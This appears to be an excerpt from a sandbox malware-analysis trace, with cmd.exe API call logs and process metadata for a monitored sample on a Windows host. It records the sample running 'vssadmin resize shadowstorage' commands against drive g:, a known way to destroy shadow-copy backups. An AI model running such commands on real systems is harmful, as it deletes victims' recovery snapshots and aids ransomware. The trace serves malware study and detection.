	[0082.307] _wcsicmp (_String1="vssadmin", _String2="TYPE") returned 2
	[0082.307] _wcsicmp (_String1="vssadmin", _String2="COPY") returned 19
	[0082.307] _wcsicmp (_String1="vssadmin", _String2="CD") returned 19
	[0082.307] _wcsicmp (_String1="vssadmin", _String2="CHDIR") returned 19
	[0082.307] _wcsicmp (_String1="vssadmin", _String2="RENAME") returned 4
	[0082.307] _wcsicmp (_String1="vssadmin", _String2="REN") returned 4
	[0082.307] _wcsicmp (_String1="vssadmin", _String2="ECHO") returned 17
	[0082.307] _wcsicmp (_String1="vssadmin", _String2="SET") returned 3
	[0082.307] _wcsicmp (_String1="vssadmin", _String2="PAUSE") returned 6
	[0082.307] _wcsicmp (_String1="vssadmin", _String2="DATE") returned 18
	[0082.307] _wcsicmp (_String1="vssadmin", _String2="TIME") returned 2
	[0082.307] _wcsicmp (_String1="vssadmin", _String2="PROMPT") returned 6
	[0082.307] _wcsicmp (_String1="vssadmin", _String2="MD") returned 9
	[0082.307] _wcsicmp (_String1="vssadmin", _String2="MKDIR") returned 9
	[0082.307] _wcsicmp (_String1="vssadmin", _String2="RD") returned 4
	[0082.307] _wcsicmp (_String1="vssadmin", _String2="RMDIR") returned 4
	[0082.307] _wcsicmp (_String1="vssadmin", _String2="PATH") returned 6
	[0082.307] _wcsicmp (_String1="vssadmin", _String2="GOTO") returned 15
	[0082.307] _wcsicmp (_String1="vssadmin", _String2="SHIFT") returned 3
	[0082.307] _wcsicmp (_String1="vssadmin", _String2="CLS") returned 19
	[0082.307] _wcsicmp (_String1="vssadmin", _String2="CALL") returned 19
	[0082.307] _wcsicmp (_String1="vssadmin", _String2="VERIFY") returned 14
	[0082.307] _wcsicmp (_String1="vssadmin", _String2="VER") returned 14
	[0082.307] _wcsicmp (_String1="vssadmin", _String2="VOL") returned 4
	[0082.307] _wcsicmp (_String1="vssadmin", _String2="EXIT") returned 17
	[0082.307] _wcsicmp (_String1="vssadmin", _String2="SETLOCAL") returned 3
	[0082.307] _wcsicmp (_String1="vssadmin", _String2="ENDLOCAL") returned 17
	[0082.308] _wcsicmp (_String1="vssadmin", _String2="TITLE") returned 2
	[0082.308] _wcsicmp (_String1="vssadmin", _String2="START") returned 3
	[0082.308] _wcsicmp (_String1="vssadmin", _String2="DPATH") returned 18
	[0082.308] _wcsicmp (_String1="vssadmin", _String2="KEYS") returned 11
	[0082.308] _wcsicmp (_String1="vssadmin", _String2="MOVE") returned 9
	[0082.308] _wcsicmp (_String1="vssadmin", _String2="PUSHD") returned 6
	[0082.308] _wcsicmp (_String1="vssadmin", _String2="POPD") returned 6
	[0082.308] _wcsicmp (_String1="vssadmin", _String2="ASSOC") returned 21
	[0082.308] _wcsicmp (_String1="vssadmin", _String2="FTYPE") returned 16
	[0082.308] _wcsicmp (_String1="vssadmin", _String2="BREAK") returned 20
	[0082.308] _wcsicmp (_String1="vssadmin", _String2="COLOR") returned 19
	[0082.308] _wcsicmp (_String1="vssadmin", _String2="MKLINK") returned 9
	[0082.308] _wcsicmp (_String1="vssadmin", _String2="FOR") returned 16
	[0082.308] _wcsicmp (_String1="vssadmin", _String2="IF") returned 13
	[0082.308] _wcsicmp (_String1="vssadmin", _String2="REM") returned 4
	[0082.308] ??_V@YAXPAX@Z () returned 0x1
	[0082.308] GetProcessHeap () returned 0x3350000
	[0082.308] RtlAllocateHeap (HeapHandle=0x3350000, Flags=0x8, Size=0xffd6) returned 0x3358d50
	[0082.309] GetProcessHeap () returned 0x3350000
	[0082.309] RtlAllocateHeap (HeapHandle=0x3350000, Flags=0x8, Size=0x82) returned 0x3357b60
	[0082.309] _wcsnicmp (_String1="vssa", _String2="cmd ", _MaxCount=0x4) returned 19
	[0082.309] malloc (_Size=0xffce) returned 0x36b2610
	[0082.309] ??_V@YAXPAX@Z () returned 0x32ff42c
	[0082.309] GetProcessHeap () returned 0x3350000
	[0082.309] RtlAllocateHeap (HeapHandle=0x3350000, Flags=0x8, Size=0x1ffa4) returned 0x3368d30
	[0082.310] SetErrorMode (uMode=0x0) returned 0x0
	[0082.311] SetErrorMode (uMode=0x1) returned 0x0
	[0082.311] GetFullPathNameW (in: lpFileName=".", nBufferLength=0xffce, lpBuffer=0x3368d38, lpFilePart=0x32ff44c | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop", lpFilePart=0x32ff44c*="Desktop") returned 0x17
	[0082.311] SetErrorMode (uMode=0x0) returned 0x1
	[0082.311] GetProcessHeap () returned 0x3350000
	[0082.311] RtlReAllocateHeap (Heap=0x3350000, Flags=0x0, Ptr=0x3368d30, Size=0x4a) returned 0x3368d30
	[0082.311] GetProcessHeap () returned 0x3350000
	[0082.311] RtlSizeHeap (HeapHandle=0x3350000, Flags=0x0, MemoryPointer=0x3368d30) returned 0x4a
	[0082.311] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0xb9f840, nSize=0x2000 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath;C:\\WINDOWS\\system32;C:\\WINDOWS;C:\\WINDOWS\\System32\\Wbem;C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\;C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps") returned 0xbb
	[0082.311] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1
	[0082.311] GetProcessHeap () returned 0x3350000
	[0082.311] RtlAllocateHeap (HeapHandle=0x3350000, Flags=0x8, Size=0x1b4) returned 0x3357bf0
	[0082.311] GetProcessHeap () returned 0x3350000
	[0082.311] RtlAllocateHeap (HeapHandle=0x3350000, Flags=0x8, Size=0x360) returned 0x3357db0
	[0082.317] GetProcessHeap () returned 0x3350000
	[0082.317] RtlReAllocateHeap (Heap=0x3350000, Flags=0x0, Ptr=0x3357db0, Size=0x1b6) returned 0x3357db0
	[0082.317] GetProcessHeap () returned 0x3350000
	[0082.317] RtlSizeHeap (HeapHandle=0x3350000, Flags=0x0, MemoryPointer=0x3357db0) returned 0x1b6
	[0082.317] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0xb9f840, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35
	[0082.317] GetProcessHeap () returned 0x3350000
	[0082.317] RtlAllocateHeap (HeapHandle=0x3350000, Flags=0x8, Size=0xe0) returned 0x3357f70
	[0082.317] GetProcessHeap () returned 0x3350000
	[0082.317] RtlReAllocateHeap (Heap=0x3350000, Flags=0x0, Ptr=0x3357f70, Size=0x76) returned 0x3357f70
	[0082.317] GetProcessHeap () returned 0x3350000
	[0082.317] RtlSizeHeap (HeapHandle=0x3350000, Flags=0x0, MemoryPointer=0x3357f70) returned 0x76
	[0082.317] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3
	[0082.317] FindFirstFileExW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\vssadmin.*", fInfoLevelId=0x1, lpFindFileData=0x32ff1d8, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x32ff1d8) returned 0xffffffff
	[0082.318] GetLastError () returned 0x2
	[0082.318] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3
	[0082.318] FindFirstFileExW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath\\vssadmin.*", fInfoLevelId=0x1, lpFindFileData=0x32ff1d8, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x32ff1d8) returned 0xffffffff
	[0082.318] GetLastError () returned 0x2
	[0082.318] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3
	[0082.318] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\vssadmin.*", fInfoLevelId=0x1, lpFindFileData=0x32ff1d8, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x32ff1d8) returned 0x3357ff0
	[0082.318] GetProcessHeap () returned 0x3350000
	[0082.318] RtlAllocateHeap (HeapHandle=0x3350000, Flags=0x0, Size=0x14) returned 0x3358030
	[0082.318] FindClose (in: hFindFile=0x3357ff0 | out: hFindFile=0x3357ff0) returned 1
	[0082.318] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\vssadmin.COM", fInfoLevelId=0x1, lpFindFileData=0x32ff1d8, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x32ff1d8) returned 0xffffffff
	[0082.318] GetLastError () returned 0x2
	[0082.318] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\vssadmin.EXE", fInfoLevelId=0x1, lpFindFileData=0x32ff1d8, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x32ff1d8) returned 0x3357ff0
	[0082.319] GetProcessHeap () returned 0x3350000
	[0082.319] RtlReAllocateHeap (Heap=0x3350000, Flags=0x0, Ptr=0x3358030, Size=0x4) returned 0x3358030
	[0082.319] FindClose (in: hFindFile=0x3357ff0 | out: hFindFile=0x3357ff0) returned 1
	[0082.319] _wcsicmp (_String1=".EXE", _String2=".BAT") returned 3
	[0082.319] _wcsicmp (_String1=".EXE", _String2=".CMD") returned 2
	[0082.319] ??_V@YAXPAX@Z () returned 0x1
	[0082.319] GetConsoleTitleW (in: lpConsoleTitle=0x32ff6dc, nSize=0x104 | out: lpConsoleTitle="C:\\WINDOWS\\SYSTEM32\\cmd.exe") returned 0x1c
	[0082.413] InitializeProcThreadAttributeList (in: lpAttributeList=0x32ff608, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x32ff5f4 | out: lpAttributeList=0x32ff608, lpSize=0x32ff5f4) returned 1
	[0082.413] UpdateProcThreadAttribute (in: lpAttributeList=0x32ff608, dwFlags=0x0, Attribute=0x60001, lpValue=0x32ff5f0, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x32ff608, lpPreviousValue=0x0) returned 1
	[0082.413] GetStartupInfoW (in: lpStartupInfo=0x32ff640 | out: lpStartupInfo=0x32ff640*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\WINDOWS\\SYSTEM32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0)) 
	[0082.413] GetProcessHeap () returned 0x3350000
	[0082.413] RtlAllocateHeap (HeapHandle=0x3350000, Flags=0x8, Size=0x18) returned 0x3357ff0
	[0082.413] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38
	[0082.413] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2
	[0082.413] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2
	[0082.413] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3
	[0082.413] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3
	[0082.413] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3
	[0082.413] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3
	[0082.413] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3
	[0082.413] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5
	[0082.413] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5
	[0082.414] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9
	[0082.414] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9
	[0082.414] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11
	[0082.414] _wcsnicmp (_String1="COPYCMD", _String2="OneDriv", _MaxCount=0x7) returned -12
	[0082.414] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12
	[0082.414] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13
	[0082.414] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13
	[0082.414] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
	[0082.414] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
	[0082.414] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
	[0082.414] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
	[0082.414] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
	[0082.414] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13
	[0082.414] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13
	[0082.414] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13
	[0082.414] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13
	[0082.414] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13
	[0082.414] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13
	[0082.414] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13
	[0082.414] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16
	[0082.414] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16
	[0082.414] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17
	[0082.414] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17
	[0082.414] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18
	[0082.414] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18
	[0082.414] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18
	[0082.414] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18
	[0082.414] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20
	[0082.414] GetProcessHeap () returned 0x3350000
	[0082.414] RtlFreeHeap (HeapHandle=0x3350000, Flags=0x0, BaseAddress=0x3357ff0) returned 1
	[0082.414] GetProcessHeap () returned 0x3350000
	[0082.414] RtlAllocateHeap (HeapHandle=0x3350000, Flags=0x8, Size=0xa) returned 0x3357ff0
	[0082.414] lstrcmpW (lpString1="\\vssadmin.exe", lpString2="\\XCOPY.EXE") returned -1
	[0082.416] _get_osfhandle (_FileHandle=1) returned 0x90
	[0082.416] SetConsoleMode (hConsoleHandle=0x90, dwMode=0x3) returned 1
	[0082.507] _get_osfhandle (_FileHandle=0) returned 0x8c
	[0082.507] SetConsoleMode (hConsoleHandle=0x8c, dwMode=0x1f7) returned 1
	[0082.601] CreateProcessW (in: lpApplicationName="C:\\WINDOWS\\system32\\vssadmin.exe", lpCommandLine="vssadmin  resize shadowstorage /for=g: /on=g: /maxsize=401MB", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\FD1HVy\\Desktop", lpStartupInfo=0x32ff590*(cb=0x48, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="vssadmin  resize shadowstorage /for=g: /on=g: /maxsize=401MB", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x32ff5dc | out: lpCommandLine="vssadmin  resize shadowstorage /for=g: /on=g: /maxsize=401MB", lpProcessInformation=0x32ff5dc*(hProcess=0xe0, hThread=0xdc, dwProcessId=0x125c, dwThreadId=0x13f0)) returned 1
	[0082.613] CloseHandle (hObject=0xdc) returned 1
	[0082.613] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1
	[0082.613] GetProcessHeap () returned 0x3350000
	[0082.613] RtlFreeHeap (HeapHandle=0x3350000, Flags=0x0, BaseAddress=0x3356c48) returned 1
	[0082.613] GetEnvironmentStringsW () returned 0x3356c48*
	[0082.613] GetProcessHeap () returned 0x3350000
	[0082.613] RtlAllocateHeap (HeapHandle=0x3350000, Flags=0x8, Size=0xb1a) returned 0x3354bc0
	[0082.613] FreeEnvironmentStringsA (penv="=") returned 1
	[0082.613] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0xffffffff) returned 0x0
	[0084.968] GetExitCodeProcess (in: hProcess=0xe0, lpExitCode=0x32ff574 | out: lpExitCode=0x32ff574*=0x2) returned 1
	[0084.968] CloseHandle (hObject=0xe0) returned 1
	[0084.969] _vsnwprintf (in: _Buffer=0x32ff65c, _BufferCount=0x13, _Format="%08X", _ArgList=0x32ff57c | out: _Buffer="00000002") returned 8
	[0084.969] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000002") returned 1
	[0084.969] GetProcessHeap () returned 0x3350000
	[0084.969] RtlFreeHeap (HeapHandle=0x3350000, Flags=0x0, BaseAddress=0x3354bc0) returned 1
	[0084.970] GetEnvironmentStringsW () returned 0x3358170*
	[0084.970] GetProcessHeap () returned 0x3350000
	[0084.970] RtlAllocateHeap (HeapHandle=0x3350000, Flags=0x8, Size=0xb40) returned 0x3354bc0
	[0084.970] FreeEnvironmentStringsA (penv="=") returned 1
	[0084.970] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1
	[0084.970] GetProcessHeap () returned 0x3350000
	[0084.970] RtlFreeHeap (HeapHandle=0x3350000, Flags=0x0, BaseAddress=0x3354bc0) returned 1
	[0084.970] GetEnvironmentStringsW () returned 0x3358170*
	[0084.970] GetProcessHeap () returned 0x3350000
	[0084.970] RtlAllocateHeap (HeapHandle=0x3350000, Flags=0x8, Size=0xb40) returned 0x3354bc0
	[0084.970] FreeEnvironmentStringsA (penv="=") returned 1
	[0084.970] GetProcessHeap () returned 0x3350000
	[0084.970] RtlFreeHeap (HeapHandle=0x3350000, Flags=0x0, BaseAddress=0x3357ff0) returned 1
	[0084.970] DeleteProcThreadAttributeList (in: lpAttributeList=0x32ff608 | out: lpAttributeList=0x32ff608) 
	[0084.970] ??_V@YAXPAX@Z () returned 0x1
	[0084.970] _get_osfhandle (_FileHandle=1) returned 0x90
	[0084.970] SetConsoleMode (hConsoleHandle=0x90, dwMode=0x3) returned 1
	[0085.193] _get_osfhandle (_FileHandle=1) returned 0x90
	[0085.193] GetConsoleMode (in: hConsoleHandle=0x90, lpMode=0xba3890 | out: lpMode=0xba3890) returned 1
	[0085.296] _get_osfhandle (_FileHandle=1) returned 0x90
	[0085.296] SetConsoleMode (hConsoleHandle=0x90, dwMode=0x7) returned 1
	[0085.391] _get_osfhandle (_FileHandle=0) returned 0x8c
	[0085.391] GetConsoleMode (in: hConsoleHandle=0x8c, lpMode=0xba3894 | out: lpMode=0xba3894) returned 1
	[0085.484] _get_osfhandle (_FileHandle=0) returned 0x8c
	[0085.484] SetConsoleMode (hConsoleHandle=0x8c, dwMode=0x1e7) returned 1
	[0085.577] SetConsoleInputExeNameW () returned 0x1
	[0085.577] GetConsoleOutputCP () returned 0x1b5
	[0085.767] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0xba3850 | out: lpCPInfo=0xba3850) returned 1
	[0085.767] SetThreadUILanguage (LangId=0x0) returned 0x31f0409
	[0085.863] exit (_Code=2) 
	[0085.863] ??_V@YAXPAX@Z () returned 0x1

Thread:
	id = 99
	os_tid = 0x13bc


Process:
	id = "30"
	image_name = "conhost.exe"
	filename = "c:\\windows\\system32\\conhost.exe"
	page_root = "0x5de6b000"
	os_pid = "0xea0"
	os_integrity_level = "0x3000"
	os_privileges = "0x60800000"
	monitor_reason = "child_process"
	parent_id = "29"
	os_parent_pid = "0x72c"
	cmd_line = "\\??\\C:\\WINDOWS\\system32\\conhost.exe 0xffffffff -ForceV1"
	cur_dir = "C:\\WINDOWS"
	os_username = "NQDPDE\\FD1HVy"
	bitness = "32"
	os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0001086c" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]


Thread:
	id = 96
	os_tid = 0x11f8


Thread:
	id = 97
	os_tid = 0x1148


Thread:
	id = 98
	os_tid = 0x115c


Process:
	id = "31"
	image_name = "vssadmin.exe"
	filename = "c:\\windows\\syswow64\\vssadmin.exe"
	page_root = "0x2a200000"
	os_pid = "0x125c"
	os_integrity_level = "0x3000"
	os_privileges = "0x60800000"
	monitor_reason = "child_process"
	parent_id = "29"
	os_parent_pid = "0x72c"
	cmd_line = "vssadmin  resize shadowstorage /for=g: /on=g: /maxsize=401MB"
	cur_dir = "C:\\Users\\FD1HVy\\Desktop\\"
	os_username = "NQDPDE\\FD1HVy"
	bitness = "32"
	os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0001086c" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]


Thread:
	id = 100
	os_tid = 0x13f0


Thread:
	id = 101
	os_tid = 0x124c


Thread:
	id = 102
	os_tid = 0xbe8


Thread:
	id = 103
	os_tid = 0x13e8


Thread:
	id = 104
	os_tid = 0x13ec


Process:
	id = "32"
	image_name = "cmd.exe"
	filename = "c:\\windows\\syswow64\\cmd.exe"
	page_root = "0x2ba88000"
	os_pid = "0x13ac"
	os_integrity_level = "0x3000"
	os_privileges = "0x60800000"
	monitor_reason = "child_process"
	parent_id = "1"
	os_parent_pid = "0x13fc"
	cmd_line = "cmd.exe /c vssadmin resize shadowstorage /for=g: /on=g: /maxsize=unbounded"
	cur_dir = "C:\\Users\\FD1HVy\\Desktop\\"
	os_username = "NQDPDE\\FD1HVy"
	bitness = "32"
	os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0001086c" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]


Thread:
	id = 105
	os_tid = 0x13b4

	[0086.899] GetModuleHandleA (lpModuleName=0x0) returned 0xb70000
	[0086.899] __set_app_type (_Type=0x1) 
	[0086.899] __p__fmode () returned 0x77803c14
	[0086.899] __p__commode () returned 0x778049ec
	[0086.899] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0xb86fd0) returned 0x0
	[0086.900] __getmainargs (in: _Argc=0xb9d1a4, _Argv=0xb9d1a8, _Env=0xb9d1ac, _DoWildCard=0, _StartInfo=0xb9d1b8 | out: _Argc=0xb9d1a4, _Argv=0xb9d1a8, _Env=0xb9d1ac) returned 0
	[0086.900] _onexit (_Func=0xb88030) returned 0xb88030
	[0086.900] _onexit (_Func=0xb88040) returned 0xb88040
	[0086.900] _onexit (_Func=0xb88050) returned 0xb88050
	[0086.900] _onexit (_Func=0xb88060) returned 0xb88060
	[0086.900] _onexit (_Func=0xb88070) returned 0xb88070
	[0086.901] _onexit (_Func=0xb88080) returned 0xb88080
	[0086.901] GetCurrentThreadId () returned 0x13b4
	[0086.901] OpenThread (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwThreadId=0x13b4) returned 0xbc
	[0086.901] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76750000
	[0086.901] GetProcAddress (hModule=0x76750000, lpProcName="SetThreadUILanguage") returned 0x76764f70
	[0086.901] SetThreadUILanguage (LangId=0x0) returned 0x6c0409
	[0086.984] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1
	[0086.984] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\Microsoft\\Windows\\System", ulOptions=0x0, samDesired=0x20019, phkResult=0x8ffb7c | out: phkResult=0x8ffb7c*=0x0) returned 0x2
	[0086.984] VirtualQuery (in: lpAddress=0x8ffb87, lpBuffer=0x8ffb34, dwLength=0x1c | out: lpBuffer=0x8ffb34*(BaseAddress=0x8ff000, AllocationBase=0x800000, AllocationProtect=0x4, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
	[0086.984] VirtualQuery (in: lpAddress=0x800000, lpBuffer=0x8ffb34, dwLength=0x1c | out: lpBuffer=0x8ffb34*(BaseAddress=0x800000, AllocationBase=0x800000, AllocationProtect=0x4, RegionSize=0x1000, State=0x2000, Protect=0x0, Type=0x20000)) returned 0x1c
	[0086.984] VirtualQuery (in: lpAddress=0x801000, lpBuffer=0x8ffb34, dwLength=0x1c | out: lpBuffer=0x8ffb34*(BaseAddress=0x801000, AllocationBase=0x800000, AllocationProtect=0x4, RegionSize=0x2000, State=0x1000, Protect=0x104, Type=0x20000)) returned 0x1c
	[0086.984] VirtualQuery (in: lpAddress=0x803000, lpBuffer=0x8ffb34, dwLength=0x1c | out: lpBuffer=0x8ffb34*(BaseAddress=0x803000, AllocationBase=0x800000, AllocationProtect=0x4, RegionSize=0xfd000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
	[0086.984] VirtualQuery (in: lpAddress=0x900000, lpBuffer=0x8ffb34, dwLength=0x1c | out: lpBuffer=0x8ffb34*(BaseAddress=0x900000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x10000, State=0x10000, Protect=0x1, Type=0x0)) returned 0x1c
	[0086.984] GetConsoleOutputCP () returned 0x1b5
	[0087.079] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0xba3850 | out: lpCPInfo=0xba3850) returned 1
	[0087.080] SetConsoleCtrlHandler (HandlerRoutine=0xb97260, Add=1) returned 1
	[0087.080] _get_osfhandle (_FileHandle=1) returned 0x90
	[0087.080] GetConsoleMode (in: hConsoleHandle=0x90, lpMode=0xba388c | out: lpMode=0xba388c) returned 1
	[0087.192] _get_osfhandle (_FileHandle=0) returned 0x8c
	[0087.192] GetConsoleMode (in: hConsoleHandle=0x8c, lpMode=0xba3888 | out: lpMode=0xba3888) returned 1
	[0087.281] _get_osfhandle (_FileHandle=1) returned 0x90
	[0087.281] SetConsoleMode (hConsoleHandle=0x90, dwMode=0x0) returned 1
	[0087.374] _get_osfhandle (_FileHandle=1) returned 0x90
	[0087.374] GetConsoleMode (in: hConsoleHandle=0x90, lpMode=0xba3890 | out: lpMode=0xba3890) returned 1
	[0087.469] _get_osfhandle (_FileHandle=1) returned 0x90
	[0087.469] SetConsoleMode (hConsoleHandle=0x90, dwMode=0x7) returned 1
	[0087.562] _get_osfhandle (_FileHandle=0) returned 0x8c
	[0087.562] GetConsoleMode (in: hConsoleHandle=0x8c, lpMode=0xba3894 | out: lpMode=0xba3894) returned 1
	[0087.660] _get_osfhandle (_FileHandle=0) returned 0x8c
	[0087.660] SetConsoleMode (hConsoleHandle=0x8c, dwMode=0x1e7) returned 1
	[0087.890] GetEnvironmentStringsW () returned 0x914bd0*
	[0087.890] GetProcessHeap () returned 0x910000
	[0087.890] RtlAllocateHeap (HeapHandle=0x910000, Flags=0x8, Size=0xaca) returned 0x9156a8
	[0087.890] FreeEnvironmentStringsA (penv="A") returned 1
	[0087.890] GetProcessHeap () returned 0x910000
	[0087.890] RtlAllocateHeap (HeapHandle=0x910000, Flags=0x8, Size=0x4) returned 0x9146b0
	[0087.890] GetEnvironmentStringsW () returned 0x914bd0*
	[0087.890] GetProcessHeap () returned 0x910000
	[0087.890] RtlAllocateHeap (HeapHandle=0x910000, Flags=0x8, Size=0xaca) returned 0x916180
	[0087.891] FreeEnvironmentStringsA (penv="A") returned 1
	[0087.891] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x8fead8 | out: phkResult=0x8fead8*=0xcc) returned 0x0
